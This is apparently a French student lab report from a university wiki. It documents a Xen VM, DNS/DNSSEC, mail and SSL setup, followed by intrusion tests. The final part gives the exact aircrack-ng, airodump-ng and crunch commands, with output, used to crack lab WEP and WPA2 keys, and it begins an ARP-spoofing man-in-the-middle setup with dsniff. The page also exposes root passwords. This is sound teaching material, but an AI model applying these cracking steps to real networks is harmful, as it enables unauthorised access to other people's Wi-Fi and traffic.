On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Gandi-t%C3%A9l%C3%A9chargement_clefetcertifica_mirage.png&diff=53948Fichier:Gandi-téléchargement clefetcertifica mirage.png2020-11-20T10:00:40Z<p>Aglaine : Aglaine a téléversé une nouvelle version de Fichier:Gandi-téléchargement clefetcertifica mirage.png</p>
<hr />
<div></div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Gandi-t%C3%A9l%C3%A9chargement_clefetcertifica_mirage.png&diff=53947Fichier:Gandi-téléchargement clefetcertifica mirage.png2020-11-20T09:58:14Z<p>Aglaine : Aglaine a téléversé une nouvelle version de Fichier:Gandi-téléchargement clefetcertifica mirage.png</p>
<hr />
<div></div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=53944TP sysres IMA2a5 2020/2021 G52020-11-20T09:48:47Z<p>Aglaine : /* Envoie du SSL Certification Gandi */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a gandi comme montrer ci-dessous en n'oubliant pas de selectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le dns et représanter la chaine d'autentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une méchagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérfication de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenètre de configuration s'ouver. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
